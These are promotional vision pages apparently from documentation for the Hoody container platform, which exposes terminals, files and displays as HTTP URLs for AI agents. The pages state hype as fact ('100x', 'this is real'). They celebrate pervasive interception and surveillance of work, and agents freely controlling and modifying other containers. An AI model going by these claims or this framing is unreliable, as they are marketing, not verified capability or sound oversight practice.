**Picture your future workday:** You arrive at your Workspace. 47 AI agents are already working across hundreds of containers. Your job? Answer questions. Like a call center operator, but instead of taking customer calls, you're fielding decision requests from AI agents. "Should we use approach A or B?" "Is this security pattern acceptable?" "Deploy this to production?" You answer. They execute. All day long, AI drives everything first. You confirm, guide, correct. **Human-in-the-loop at scale.**

This is the shift: **AI executes. Humans judge.** The platform must support this—constant AI action with human checkpoints.

Hoody provides the foundation that makes this possible.

---

## The 100x Formula

Here's exactly how Hoody's components combine to unlock 100x productivity:

```
Floating Computers
    + Workspaces
    + HTTP (Everything)
    + Web-Native
    + Embeddability
    + MITM/Observability
    + AI-First Design
    ────────────────────
    = 100x Human Output
```

Let's break down each component and why it matters.

---

## 1. Floating Computers (Infinite Containers)

**Traditional:** Pay $40/month per VPS. Need dev/staging/prod? That's $120/month for three isolated boxes.

**Hoody:** One bare metal server. Spawn unlimited containers. Share 100% of resources.

### Why This Matters for 100x

When containers are free to spawn, experimentation becomes free. AI can try 100 approaches simultaneously. Each in its own isolated environment. Keep what works, discard the rest.

**One human can manage 100+ projects because each project lives in its own container.** No resource limits. No per-unit costs. Just unlimited isolated computers.


**Concrete Example:** A solo founder runs 12 SaaS products. Each has 3-5 containers (frontend, backend, database, workers). That's 36-60 containers from a single $100/month server. On traditional VPS? That's $1,440-$2,400/month.


---

## 2. Workspaces (Floating WebOS)

**Hoody Workspaces** are not just dashboards—they're complete operating systems accessible via URL. Each workspace can display multiple containers simultaneously, creating a unified view of your entire infrastructure.

### Why This Matters for 100x

**The AI era means trying new tools every day.** New AI code editor? New automation platform? New monitoring tool? On traditional systems, each requires installation, configuration, dependencies, compatibility checks—30 minutes of friction before you can even evaluate if it's useful.

**With Hoody: One prompt.**

```
"Deploy Cursor AI IDE in container 'ide-test'"
→ 30 seconds later: https://ide-test.hoody.icu (ready to use)

"Try that new AI monitoring tool Langfuse"
→ 45 seconds later: https://langfuse-demo.hoody.icu (already running)

"Spin up Supabase for project X"
→ 1 minute later: https://project-x-db.hoody.icu (database live)
```

**Zero installation friction. Zero setup time. Just instant deployment.**

Your Workspace shows them all. Don't like the tool? Delete the container. Love it? Keep it. The barrier to experimentation is zero.

You don't context-switch between 100 projects. You see them all at once. Workspace layouts become project templates. Share a workspace URL and your team sees exactly what you see—live.

**One interface orchestrates everything.** No switching between AWS console, GitHub, Vercel dashboard, monitoring tools. One URL. Everything there.

---

## 3. HTTP (Everything)

Every Hoody service is HTTP. Not "has an HTTP API"—**IS** HTTP.

- **Terminals:** Execute commands via HTTP POST
- **Files:** Access filesystem via HTTP GET
- **Displays:** Desktop environments via HTTP
- **Databases:** SQLite queries via HTTP
- **Browser:** Chrome automation via REST
- **Scripts:** Hoody-exec turns any script into HTTP endpoint

### Why This Matters for 100x

**AI already speaks HTTP.** LLMs were trained on web data. They understand HTTP requests natively. No SDKs. No integration layer. No custom adapters.

AI agents can:
- Spawn 10 containers (HTTP POST)
- Install dependencies in each (HTTP POST to terminal)
- Deploy code to all (HTTP POST to exec)
- Query their databases (HTTP POST to SQLite)
- Check their status (HTTP GET everywhere)

All standard HTTP. AI needs zero custom training.

---

## 4. Web-Native (Access Anywhere)

Every container service has a URL:
```
https://abc123-def456-display-1.node-us.containers.hoody.icu
https://abc123-def456-terminal-1.node-us.containers.hoody.icu
https://abc123-def456-files.node-us.containers.hoody.icu
```

### Why This Matters for 100x

Your phone has a browser. Your phone can now:
- Run VS Code (desktop display in browser)
- Execute terminal commands
- Access any file
- Control any container
- Review AI agent progress

**Work from literal anywhere.** Coffee shop. Plane. Phone. TV. If it has a browser, you can orchestrate your 100 projects.

### The IoT Future: Beyond Traditional Computers

**Tomorrow's computing isn't just laptops and phones.** It's smart glasses displaying your code. Smart watches triggering deployments. IoT sensors feeding data to your containers. AR headsets visualizing your infrastructure.

**The future of computing is device-agnostic.** Your "computer" might be:
- **Smart glasses** rendering displays while you walk
- **Smart watches** showing critical alerts and metrics
- **IoT devices** feeding real-time sensor data
- **AR/VR headsets** immersing you in your infrastructure
- **Voice assistants** executing commands across containers
- **Connected cars** accessing your work environment
- **Any device with HTTP capability**

**Because everything is HTTP, everything can communicate.** Your smart watch triggers a container deployment. The container processes IoT sensor data. Results display on your smart glasses. Alerts arrive on your phone. All speaking the same language: HTTP.

**Rapid iteration across devices becomes trivial:**

```
1. Smart glasses detect you're looking at a broken sensor
2. Voice command: "Deploy diagnostic container for sensor-12"
3. Container spawns, connects to IoT device via HTTP
4. Results stream to your smart watch display
5. You approve fix with a watch gesture
6. Container updates sensor firmware
7. All devices confirm: "Sensor operational"

Total time: 45 seconds. Zero friction.
```

When every device speaks HTTP and every capability is a URL, the boundaries between computing platforms disappear. You don't have "a phone app and a desktop app and an IoT integration"—you have HTTP endpoints that work everywhere.

---

## 5. Embeddability (Everything is `<iframe>`able)

Because everything is a URL and web-native, everything can be embedded anywhere:

```html
<!-- Embed a live terminal in your docs -->
<iframe src="https://demo-terminal.hoody.icu" />

<!-- Display a desktop in your dashboard -->
<iframe src="https://project-display.hoody.icu" />

<!-- Show live data from SQLite -->
<iframe src="https://db-container.hoody.icu/query?sql=SELECT..." />
```

### Why This Matters for 100x

Build custom dashboards by composing iframes. Your monitoring dashboard **IS** the actual services, embedded live. No APIs to poll. No sync delays. Direct visual access to every system.

**AI agents can generate custom interfaces** by composing container URLs into HTML. The infrastructure IS the UI.

---

## 6. MITM/Observability (Total Transparency)

Because everything is HTTP, every action flows through observable endpoints:

- Every command executed (terminal HTTP calls)
- Every file accessed (files HTTP requests)
- Every database query (SQLite HTTP calls)
- Every AI decision (agent HTTP logs)

### Why This Matters for 100x

**Your AI agents learn from observation.** Every HTTP call is logged. Every pattern is detectable. The system becomes smarter automatically.

Through **hoody-exec**, you can MITM any service:
- Intercept file reads to add AI-generated documentation
- Intercept database queries to auto-optimize them
- Intercept API calls to add caching layers
- Chain MITMs infinitely (MITM the MITM)

**The infrastructure customizes itself** based on your usage patterns.


This isn't surveillance—it's self-awareness. When AI can observe everything, it can improve everything.


---

## 7. AI-First Design

Hoody wasn't adapted for AI. It was **designed for AI from day one.**

### Hoody Agent Service

Every container can run **hoody-agent**, an HTTP-native AI agent with:
- 100+ HTTP endpoints for complete control
- Memory bank for context retention
- MCP client integration (connect to external MCP servers like GitHub, Slack, Jira)
- Direct access to all container services
- Ability to orchestrate other containers

### Floating Architecture

Containers are peers, not hierarchical. **AI Agent in Container A can directly control Container B**, which can spawn Container C, which can orchestrate Container D.

No central orchestrator needed. AI agents discover and coordinate with each other through HTTP.

### Why This Matters for 100x

**Multi-agent systems emerge naturally.** You don't build orchestration infrastructure—you spawn containers with AI agents, give them permissions, and they coordinate themselves.

One human describes intent. 10 AI agents across 30 containers execute. All coordinating via HTTP.

---

## The Compounding Effect

When you combine all these components, something remarkable happens:

### Traditional Path (Linear Growth)
```
1 Developer = 1 Project
10 Developers = 10 Projects
100 Developers = 100 Projects
```

### Hoody Path (Exponential Growth)
```
1 Human + 10 AI Agents + 30 Containers = 10 Projects
1 Human + 50 AI Agents + 150 Containers = 100 Projects
1 Human + 100 AI Agents + 300 Containers = 500 Projects
```

The human provides:
- Strategic direction
- Judgment calls
- Creative vision
- Ethical boundaries

AI agents handle:
- Code implementation
- Testing
- Deployment
- Monitoring
- Optimization

Containers provide:
- Isolated execution environments
- Infinite experimentation space
- Zero-cost scaling
- Instant rollback via snapshots

---

## Real-World Scenario

**9:00 AM** - You review 47 active projects in your Workspace. Each shows live status via embedded displays and terminals.

**9:15 AM** - An AI agent in Project #12 requests architectural guidance. You provide direction via chat. It spawns 3 sub-containers to test approaches, presents options in 5 minutes.

**9:30 AM** - You notice a security pattern working well in Project #5. You tell your meta-agent to apply it everywhere. It MITMs the relevant containers, injects the pattern, updates 147 containers while you review other work.

**10:00 AM** - Client wants a new feature. You describe it. AI agents in 7 relevant projects adapt simultaneously. Changes are live within the hour because containers are already deployed.

**12:00 PM** - From your phone at lunch, you pull up a Firefox display showing all 47 project dashboards. You make a strategic decision. The AI teams implement it across all projects by the time you're back.

**This is real.** All the infrastructure exists today.

---

## The Foundation Is Ready

You don't need to wait for better AI models. **The current models are capable.** They just need the right infrastructure.

Hoody provides:
- ✅ Infinite isolated playgrounds (containers)
- ✅ Native AI language (HTTP everywhere)
- ✅ Total observability (MITM/logging)
- ✅ Zero deployment friction (already live)
- ✅ Perfect rollback (snapshots)
- ✅ Universal access (web-native)
- ✅ Natural coordination (floating architecture)

**The bottleneck isn't AI capability anymore. It's infrastructure.**

Hoody removes that bottleneck.

---

> **The future isn't about coding faster.**  
> **It's about orchestrating hundreds of AI agents while you focus on vision, strategy, and judgment.**  
> **Hoody is the foundation that makes this future possible today.**

Ready to 100x your output?

**Next:** [The HTTP Revolution →](/vision/http-revolution/)

---

# The Embeddability Revolution

**Page:** vision/embeddability

[Download Raw Markdown](./vision/embeddability.md)

---

# The Embeddability Revolution

**Forget everything you know about iframes.**

They're not for embedding videos anymore. They're for embedding computers. Hundreds of them. All at once.

---

## Why Embeddability Is The Future

**The future requires universal communication between three actors:**

- **Humans** - Working from any device with a browser (phones, tablets, watches, smart glasses, laptops, TVs)
- **AI Agents** - Executing autonomously, orchestrating systems, making decisions
- **IoT Devices** - Sensors, cameras, wearables feeding data and triggering actions

Right now, they can't talk to each other. Your phone can't easily control your datacenter. Your AI can't access your desktop. Your smart watch can't trigger deployments.

**Embeddability changes this.** When everything has a URL, any device can access any capability. The phone in your pocket becomes a window into infinite computers.

### The Browser Won

Not as a content platform. As the **universal computing interface**.

Every device has a browser. Every browser speaks HTTP. Every browser is sandboxed, secure, multiplayer by default.

**When computers are embeddable via URLs, the browser becomes your operating system.**

Your phone isn't limited anymore—it's a window into infinite computers:

```
Smart Watch → [iframe] → Full Linux Desktop
Phone → [iframe] → VS Code + Terminal + Database
Smart Glasses → [iframe] → Your Entire Infrastructure
```

Device limitations disappear. Capability becomes universal.

### AI Needs Embeddable Infrastructure

LLMs can't execute without real infrastructure. **The AI era requires:**

- **Execution environments** - Real computers to run on
- **Observability** - AI must see what it's controlling (terminal iframes, display iframes)
- **Isolation** - Each agent in its own container
- **Coordination** - Multiple agents working together via HTTP

**Embeddability transforms AI from advisors into executors.**

### Proof: Hoody OS — Built in 5 Days

We built **Hoody OS**: a complete multiplayer web-based operating system with floating windows, AI agents, terminals, code editors, file browsers, and display viewers.

**Under 5 days.** Production-ready. We run Hoody itself from this OS.

How? Pure embeddability:
- Every window = iframe to a container service
- Every tool = embedded via URL
- Zero custom rendering — web standards only



Hoody OS includes three applications:
- **Hoody Home** — Dashboard, project launcher, quick access
- **Hoody Console** — Server management, container administration, monitoring
- **Hoody Workspaces** — Floating-window desktop with drag-and-drop arrangement

**The inception:** Hoody OS itself runs on a Hoody container. The OS that manages your containers IS a container. It's embeddable, shareable, and multiplayer. You can embed the OS inside another OS. And because every process on your server is an HTTPS URL — with HTTP/2 and HTTP/3, automatic certificates, zero configuration — you can embed literally any program you run. A Jupyter notebook. A game server dashboard. A custom admin panel. An AI agent's workspace. If it runs, it has a URL, and that URL works everywhere.

**Want to build your own OS?** Because everything — containers, files, terminals, displays — is HTTP, AI can orchestrate your entire infrastructure conversationally. That's not a demo. That's how we built Hoody OS itself.

### `ssh hoody.com` — The Lightest Client Possible

And then we went further. We built a full **terminal-based browser** that renders the entire Hoody OS as a TUI.

```bash
ssh hoody.com
```

That's it. Full operating system, in your terminal. Same floating windows, same AI chat, same file browser — rendered in characters. Access from:
- A laptop with no browser
- A Raspberry Pi over SSH
- A server in a datacenter
- Your phone's terminal app
- An ESP32 (yes, really — if it can hold an SSH connection, it can run Hoody OS)



No username. No password. It shows a login screen just like any browser would. The lightest possible client for the most powerful possible computing environment.

*That's* the power of universal embeddability.

---

## You Have Infinite Computers. They're All `<iframe>`able.

```html
<iframe src="https://dev-computer-1.hoody.icu" />
<iframe src="https://staging-env-7.hoody.icu" />
<iframe src="https://prod-cluster-42.hoody.icu" />
<iframe src="https://ai-agent-99.hoody.icu" />
<iframe src="https://customer-demo-231.hoody.icu" />
```

Not mockups. Not remote desktop. **Actual computers.** Running. Live. In your browser.

Spawn 1000 containers. Embed them all in one page. Your dashboard IS your infrastructure.

---

## Infinite Scale, Infinite Possibilities

**One person. 100 projects. 500 containers. One screen.**

Each project gets its own set of containers. Each container is an iframe. Your workspace shows them all:

- **Project Alpha**: 5 iframes (frontend, backend, db, monitoring, docs)
- **Project Beta**: 8 iframes (microservices, each in its own container)
- **Project Gamma**: 12 iframes (full Kubernetes simulation, local)
- **AI Experiments**: 47 iframes (each AI agent gets its own playground)

Switching projects? Just change which iframes are visible. Everything keeps running.

---

## HTTP Control, Automatic Reflection

**Forget postMessage. Forget parent-child relationships.**

Your iframes are displaying computers. Those computers ARE HTTP. When you change the computer via HTTP, the iframe automatically reflects it.

**No special iframe manipulation needed. Just regular HTTP requests:**

```typescript
// Execute command in container displayed in iframe
const box = await hoody.withContainer(container);
const result = await box.terminal.execution.execute({
  command: 'npm run build'
});

// The iframe showing the terminal automatically updates
// You didn't touch the iframe. You changed the computer.
// The iframe just shows what the computer is doing.
```

### Try It Live

Type a command below and watch it execute in the live terminal iframe. **You're making HTTP requests. The iframe reflects them automatically.**


  <div slot="controls">
    <form id="terminal-demo-form" style="display: flex; gap: 0.5rem;">
      <input
        type="text"
        id="terminal-command"
        placeholder="ls -la"
        style="flex: 1; font-family: var(--sl-font-mono); font-size: 0.875rem;"
      />
      <button type="submit" style="font-size: 0.875rem; cursor: pointer;">
        Execute
      </button>
    </form>
    <p style="margin-top: 0.75rem; font-size: 0.8125rem; opacity: 0.7;">
      The iframe below shows a live terminal. Your HTTP request changes the computer. The iframe reflects it.
    </p>
  </div>


**The breakthrough:** Because containers are HTTP-native, any change via HTTP instantly appears in any iframe displaying that container.

- Deploy code via HTTP? The display iframe shows the new version
- Execute terminal command via HTTP? The terminal iframe shows the output
- Update a file via HTTP? The file browser iframe reflects the change
- Start a service via HTTP? The monitoring iframe shows it running

**Control from anywhere:**
- Phone makes HTTP request → iframe on TV updates
- AI agent makes HTTP request → iframe on laptop updates
- Smart watch makes HTTP request → iframe on tablet updates
- Script makes HTTP request → all iframes everywhere update

No parent. No postMessage. No special iframe APIs. **Just HTTP to the computer. The iframe is just a window.**

---

## Your Phone Is Now 1000 Computers

Open your phone browser. Type a URL. You're now looking at computer #473 of your fleet.

Swipe left: Computer #474.
Swipe right: Computer #472.
Pinch: See all 1000 as thumbnails.

Each one is a full computer. Each one is an iframe. Each one is already running.

**The future is nomadic.** Work from a café in Tokyo. Continue from a beach in Bali. Pick up mid-conversation on a train in Switzerland.

Your AI agents keep working while you travel. They don't pause because you changed locations. They don't lose context because you switched devices.

**Zero friction.** Your phone at the airport is the same environment as your laptop at home. Same agents. Same conversations. Same infrastructure. Just different windows into the same infinite compute.

**You're not syncing.** You're not reconnecting. You're not resuming. You're just *there*. Because everything is already online, always accessible, from anywhere.

Your phone didn't get more powerful. It became a window into infinite compute that travels with you.

---

## The End of Local vs Remote

There's no difference between:
- Iframe on your laptop
- Iframe on your phone  
- Iframe on your TV
- Iframe in VR headset

They're all just windows into the same infinite compute fabric. The computer isn't "here" or "there"—it's everywhere, accessible via URL.


**The browser won. But not like we thought.**

We thought the browser would run applications.  
Instead, it became the window into infinite computers.  
Each computer is a URL. Each URL is embeddable.  
Computing isn't local or remote anymore. It just is.


---

## This Changes Everything

**No more installation.** Embed the URL.  
**No more deployment.** It's already live.  
**No more integration.** Everything speaks HTTP.  
**No more limitations.** Spawn infinite computers.

Your infrastructure isn't managed. It's composed. With iframes.

> **The future isn't cloud computing.**  
> **It's infinite computers, everywhere, embedded in everything.**  
> **Welcome to the embeddability revolution.**

**Next:** [Security Model →](/vision/security/)

---

# Everything is a URL

**Page:** vision/everything-is-a-url

[Download Raw Markdown](./vision/everything-is-a-url.md)

---

# Everything is a URL

What if you could `<iframe>` a Linux desktop into your Notion doc?

What if you could `curl` your entire filesystem from a CI/CD pipeline?

What if every script you wrote instantly became a secure, shareable API endpoint?

What if you could give an AI a single URL to grant it access to a terminal, a file system, and a web browser, all at once?

In the legacy world, these are complex engineering challenges. In Hoody, they are the default. This is possible because of one foundational principle: **Everything is a URL.**


	
		Every resource and action has a predictable, web-native address.
	
	
		If it has a URL, it can be embedded, linked, and integrated with anything else on the web.
	
	
		URLs are the native language of AI. Give an agent a URL, and it instantly understands how to interact.
	


## The Universal Resource Locator

In Hoody, we've extended the concept of the URL beyond just web pages. It is a universal identifier for every resource in your computational environment. This isn't an abstraction layer; it's a fundamental architectural shift.

Your terminal, your GUI applications, your files, your background services—they are no longer abstract concepts trapped inside an OS. They are resources with a stable, secure, and web-accessible address.

This is the anatomy of a Hoody URL:

`https://{projectId}-{containerId}-{service}-{instance}.{node}.containers.hoody.icu`

| Part | Example | Description |
| :--- | :--- | :--- |
| `projectId` | `c0d7f...` | The unique ID of the Project this resource belongs to. |
| `containerId` | `a1b2c...` | The unique ID of the Container running the resource. |
| `service` | `terminal`, `display`, `pipe`, `exec`... | One of 18 services — every service has its own URL. |
| `instance` | `1`, `2`, `3`... | The specific instance (multiple terminals, displays, pipes — all at once). |
| `node` | `node-us-1` | The bare metal server where the container runs — a server you own. |

Every one of those URLs is automatically HTTPS with HTTP/2 and HTTP/3 (QUIC). No certificate to configure. No port to memorize. No reverse proxy to set up. You will never think about TLS again in your life.

## From Legacy Commands to a Single URL

This unified structure means you no longer need a dozen different clients and protocols to interact with your systems. All you need is a browser or an HTTP client.

| Goal | Legacy Method | The Hoody Way (Just a URL) |
| :--- | :--- | :--- |
| **Access a Shell** | `ssh user@192.168.1.100` | `https://...-terminal-1...` |
| **View a Desktop** | `vnc://192.168.1.100:5901` | `https://...-display-1...` |
| **Browse Files** | `sftp://user@192.168.1.100`| `https://...-files...` |
| **Access a Web App** | `http://192.168.1.100:8080`| `https://...-http-8080...` |
| **Run a Script** | `python /path/to/script.py` | `POST https://...-exec-1.../script-name`|
| **Stream Data** | `mkfifo /tmp/pipe && cat` | `https://...-pipe-1...` |

## The Scale of What This Enables

Every process, on a server you own, is an HTTPS endpoint with HTTP/2 and HTTP/3. Every one composable, embeddable, shareable, AI-controllable.

**hoody-display** turns any GUI application into a URL. Embed a running desktop in an iframe. Watch an AI-driven browser session from your phone. Run 10 isolated displays side by side, each a different app, each a different URL.

**hoody-pipe** turns named pipes into HTTP streams. Share your screen across the internet as a URL. Transfer files between devices with no client software — just `curl`. Fan out one data stream to 256 receivers simultaneously. It's `mkfifo`, but over HTTPS, from anywhere on Earth.

**hoody-exec** turns scripts into API endpoints. Write a `.ts` or `.js` file to the exec scripts directory and it's instantly callable at a URL. No framework, no deployment, no server configuration.

**hoody-curl** turns any REST call into a GET URL. Wrap a complex POST request into a single GET endpoint that you can put in a QR code, an email link, an iframe. The composability is infinite.

And because everything runs on bare metal servers you actually own — not shared cloud infrastructure — your data stays yours. Years of privacy-first engineering at Hoody went into making sure of that.


Can your tool make an HTTP request? Then it can already control every one of 18 services in any Hoody container. That's 18 services × unlimited instances × unlimited containers. The scale of this is genuinely insane.


---

> Give ChatGPT a URL — it controls your terminal. Give Claude Code a URL — it deploys your app. Give a webhook a URL — it triggers a workflow across three continents. Give your smart glasses a URL — they show you what your AI agent is doing right now. Give a stranger a URL — they see exactly what you want them to see, nothing more.
>
> **The URL is not a reference to the thing. The URL IS the thing.**
>
> That's the difference. That's why everything else we built works.

---

# The HTTP Revolution

**Page:** vision/http-revolution

[Download Raw Markdown](./vision/http-revolution.md)

---

# The HTTP Revolution

**Hoody doesn't just use HTTP—we've transformed the entire computing stack into HTTP endpoints.**

Your terminal is an HTTP API. Your desktop is a URL. Your files are endpoints. Your database is JSON over HTTP. Even your browser automation is REST calls.

This isn't about convenience. It's about fundamentally reimagining computing for the AI era.

---

## Why We Made Everything HTTP

### The Problem We Solved

Every tool speaks a different language. Every integration requires specialized knowledge. Every AI agent needs custom adapters.

**We asked: What if everything spoke the same language?**


With Hoody, you don't install tools—you spawn URLs. You don't configure services—you pass HTTP parameters. You don't integrate systems—you compose HTTP endpoints.


### The Hoody Answer

We didn't just add HTTP APIs to existing tools. We rebuilt the entire stack as HTTP-native services.

The **Hoody Kit** includes 18 services that abstract Linux and common tools into pure HTTP:

- **Terminal** - Execute shell commands via HTTP endpoints
- **Files** - Access filesystems as HTTP resources
- **Display** - Desktop environments accessible through URLs
- **Browser** - Chrome automation as REST APIs
- **Exec** - Scripts that become HTTP endpoints
- **SQLite** - Databases queryable via HTTP
- **Code** - VS Code instances spawned via URLs
- **cURL** - Complex HTTP operations simplified to GET requests
- **Notifications** - Native alerts triggered via HTTP
- **Daemons** - Background process management as HTTP endpoints
- **Cron** - Scheduled tasks managed via HTTP
- **Pipe** - Streaming data transfer between any devices via URLs
- **Notes** - Collaborative notebooks with real-time sync
- **Watch** - File and process watchers as HTTP streams
- **Run** - Process lifecycle management (spawn, wait, tail) via HTTP
- **Tunnel** - Reverse tunnels for Hoody containers
- **Proxy Logs** - Request-level routing and audit logs
- **Workspaces** - The web-based OS that ties every service into one URL

Every layer of computing, exposed as HTTP.

## Why This Changes Everything

### 1. AI Understands Everything Instantly

LLMs were trained on the web. They understand HTTP natively. When your entire infrastructure is HTTP:

- **No SDK needed**—AI already knows how to make HTTP requests
- **No documentation parsing**—Request/response patterns are universal
- **No integration layer**—Direct execution via HTTP calls

AI can orchestrate your terminal, files, browser, database, and more—all through HTTP.

`@hoody.com` proves the universality: any AI with web access — ChatGPT, Claude Code, Codex, Cline — visits that address and receives a Skill: structured HTTP documentation covering your entire infrastructure. No installation. No onboarding. The AI already speaks HTTP; Hoody just hands it the map.

### 2. AI Orchestrates AI (The Floating Architecture)

Here's where it gets wild: **Containers aren't hierarchical. They're peers.**

No "host managing containers". No parent-child relationships. Just URLs talking to URLs. An AI agent in Container A can directly control an AI agent in Container B—which can spawn and control Container C—which can orchestrate Container D.

This is "floating" architecture: containers exist as equals, accessing each other's full capabilities via HTTP.

AI in Container A orchestrates AI in Container B. AI in Container B spawns Container C. AI in Container B directly reads Container C's files, queries its database, executes commands in its terminal. AI in Container B reports findings back to Container A's memory bank.

**Multi-agent systems emerge naturally.** No orchestrator needed. No message queue. No coordinator service. Just AI agents making HTTP calls to each other, spawning new containers as needed, accessing each other's terminals, files, and databases directly.

This is Inception for AI: agents all the way down, each with full computing capabilities, all coordinating via HTTP.

### 3. Everything Is Embeddable

When everything has a URL, everything can be embedded anywhere.

Embed a live terminal in your docs. Put a desktop in your spreadsheet. Show live files in your presentation. No plugins. No special clients. Just iframes and URLs.

### 4. Multiplayer Becomes Automatic

HTTP is stateless and concurrent by design. When everything is HTTP:

- Multiple cursors in terminals—just multiple HTTP sessions
- Shared desktops—everyone hits the same URL
- Collaborative debugging—same browser, multiple controllers
- Real-time file editing—concurrent HTTP requests

Share a URL. That's it. Everyone's in.

### 5. Infinite Cascading via hoody-curl

Here's the breakthrough: **Any REST API can become a simple URL.**

The **hoody-curl** service (part of the Hoody Kit in every container) transforms complex HTTP requests into pure GET URLs. This means you can cascade any operation, anywhere—even from restricted environments that only allow GET requests.

**Want to make a POST request from a simple URL?** Done.
**Need to call an API that requires authentication headers?** Just parameters.
**Chain multiple HTTP services together?** Pure composition.

This isn't just convenience—it's **infinite composability**. Every Hoody service can call every other service, which can call external APIs, which can trigger more Hoody services. All cascading through simple HTTP.

Because every container has **hoody-curl**, any operation anywhere can be transformed into a shareable, embeddable, callable URL. A chatbot, a QR code, a Slack message, an AI agent with link-fetching — any of them can trigger any workflow you've wrapped into a GET. The entire web becomes composable building blocks.

## Man-In-The-Middle Everything

**The Hidden Power: Total Observability**

When everything is HTTP, everything becomes transparent. Every action, every data flow, every decision—all flowing through a single, inspectable protocol.

Your entire digital life becomes observable:

- Every API call your containers make
- Every file your team accesses
- Every command executed in any terminal
- Every database query, browser action, script execution
- Every AI decision and tool use

This isn't just logging. This is **complete computational awareness**.

### The Hyperlever Era

**Observing everything is the key to our future.**

Tomorrow's productivity doesn't come from working harder—it comes from systems that understand your work completely. When every action flows through HTTP, AI can see patterns you can't. It learns what you do, when you do it, why it worked.

Your workflows become training data—automatically.

### Computing That Customizes Itself

Here's where HTTP unlocks something unprecedented: **Because Hoody API and every container service is HTTP, you can intercept and enhance ANY endpoint through hoody-exec.**

Want to modify how the Hoody API behaves? Intercept it with hoody-exec. Want smarter file access? Intercept hoody-files with hoody-exec. Want database queries that optimize themselves? Intercept hoody-sqlite with hoody-exec.

**Your Personal Platform Fork**

Every user can build their perfect version of Hoody—without touching the core:

- **MITM the Hoody API** - Auto-tag containers, track costs, enforce workflows, add custom validation—all through hoody-exec intercepting the API that creates containers
- **MITM Container Services** - Add monitoring layers, rate limiting, caching, AI enhancement to any service through hoody-exec
- **MITM Files** - Access a code file? hoody-exec intercepts the request, AI adds documentation comments, explains complex functions—before serving it to you
- **MITM Databases** - Query SQLite? hoody-exec intercepts to optimize the query, suggest indexes, explain the result set
- **MITM Terminals** - Execute a command? hoody-exec intercepts to safety-check, auto-document, learn your workflows

The platform adapts to you. Not you to the platform.

### Infrastructure That Writes Itself

This is beyond customization. This is **self-building infrastructure:**

**Non-Existent Endpoints Materialize**

Visit `/api/analytics/dashboard`—it doesn't exist yet? Your hoody-exec script asks AI "what should this return?" and generates it. Instantly. The endpoint now exists, perfectly tailored to your needs.

**Files Document Themselves**

Access a complex codebase? As you browse, hoody-exec intercepts file requests and AI adds explanatory comments in real-time. The code becomes self-documenting through observation.

**Databases Optimize Themselves**

Run a slow query? hoody-exec detects the pattern, asks AI to optimize, and injects better indexes automatically. Your database gets smarter the more you use it.

**Features You Need, Instantly**

The infrastructure doesn't wait for feature requests. It creates features on-demand through AI-powered hoody-exec interception. You work, it adapts.

### MITM the MITM: Infinite Extensibility

Here's the meta-capability that breaks everything open:

**Since hoody-exec scripts ARE HTTP endpoints, you can MITM your hoody-exec scripts.**

- Layer 1 (hoody-exec) intercepts and logs
- Layer 2 (another hoody-exec) intercepts Layer 1 to add caching
- Layer 3 (another hoody-exec) intercepts Layer 2 to add AI enhancement
- Layer N intercepts Layer N-1 to add whatever you imagine

Cascading intelligence. Composable enhancement layers. Each hoody-exec script can be intercepted by another hoody-exec script, creating chains of capability that evolve with your needs.

You're not configuring a platform. You're growing an intelligence that learns and extends itself through pure HTTP manipulation.

Binary protocols hide this potential. HTTP exposes it:

- Every action is JSON—human-readable, grep-able, audit-able
- Every request shows clear intent
- Every auth check, permission verification, access attempt—visible
- MITM isn't an attack—it's how the platform learns, adapts, and becomes uniquely yours

This is computing that adapts to humans, not humans adapting to computing.

## Universal Access

When everything is HTTP:

- Your phone can run enterprise workloads (it has a browser)
- Your TV can execute code (it has a browser)
- Your smartwatch can control servers (it can make HTTP requests)
- WebAssembly? Progressive Web Apps? They're already home

## The End of "Local vs. Remote"

There's no difference between:
- `http://localhost:5000/terminal/execute`
- `https://container.hoody.icu/terminal/execute`

Local and cloud become deployment details, not architectural constraints.

## Why Hoody, Why Now

Three forces converged:

1. **AI needs structured communication**—HTTP + JSON is the universal format
2. **Browsers became operating systems**—V8 runs everything, everywhere
3. **Containers made isolation cheap**—Spawn 1000 computers, each with HTTP APIs

We're not fighting the future. We're acknowledging reality:

**Computing IS the web. Hoody just makes it official.**

## The New Reality

This is what changes:

- **Developers**: Stop learning 50 protocols. Everything is HTTP.
- **DevOps**: Stop configuring connections. Everything connects via URLs.
- **AI Engineers**: Stop building adapters. AI already speaks HTTP.
- **Enterprises**: Stop buying integration platforms. HTTP is the platform.

Every service. One language. Infinite possibilities.

---

> **We didn't add HTTP to computing.**  
> **We rebuilt computing as HTTP.**  
> **And that changes everything.**

**Next:** [Multiplayer by Default →](/vision/multiplayer/)

---

# Multiplayer by Default

**Page:** vision/multiplayer

[Download Raw Markdown](./vision/multiplayer.md)

---

# Multiplayer by Default

**Collaboration as you know it is already obsolete.**

Screen sharing is taking turns. Video calls are "can you see my screen?" Pair programming is watching someone else type. Customer support is describing problems instead of solving them.

**Hoody changes everything: Every computer, every program, every environment is multiplayer by default.**

Not web-based collaboration tools. Not screen sharing. **Actual simultaneous control of the same programs.**

---

## The Core Truth

**Everything is a URL. Every URL is collaborative.**

When you spawn a container, anyone with the URL can join. Everyone typing in the same terminals. Everyone controlling the same browser. Shared displays with everyone seeing the same screen. Collaborative file editing in real-time.

**It's like Google Docs, but for entire computers.**

```
https://abc123-def456-terminal-1.node-us.containers.hoody.icu
https://abc123-def456-display-1.node-us.containers.hoody.icu
https://abc123-def456-files.node-us.containers.hoody.icu
```

One URL per service. Share the URL = instant collaboration. **That's it.**


**Why this works:** Because everything is HTTP with WebSocket support, multiplayer isn't a feature—it's the foundation. Multiple connections to the same URL. Shared state synchronized in real-time. Zero setup required.


---

## The 30-Second Bug Fix

**Traditional collaboration:**
1. "Can you help me with a bug?"
2. Schedule screen share call
3. "Can you see my screen?"
4. "Wait, let me share my terminal"
5. "No, the other terminal"
6. Senior dev watches, describes what to type
7. Junior dev types, makes mistakes
8. 20 minutes later, maybe fixed

**Hoody collaboration:**
1. Junior dev: "Bug in container abc123-def456"
2. Senior dev opens terminal URL
3. **Both see the exact same terminal**
4. **Both type simultaneously** in the same session
5. Bug fixed in 30 seconds

No screen share setup. No "can you see this?". No taking turns. **Just instant collaboration.**

---

## Shared State, Not Screen Sharing

**The breakthrough:** You're not sharing your screen. You're sharing the **actual environment**.

### Social Media Team Example

Traditional workflow:
- 5 marketers managing 20 brand accounts
- Each logs into accounts on their own computer
- "Whose turn to post?"
- "Did you log out of the Instagram?"
- Credentials shared in password managers
- Someone forgets which account they're on

**Hoody workflow:**
- ONE computer with 20 browser instances managing 20 accounts
- All 5 marketers open the computer's display URL
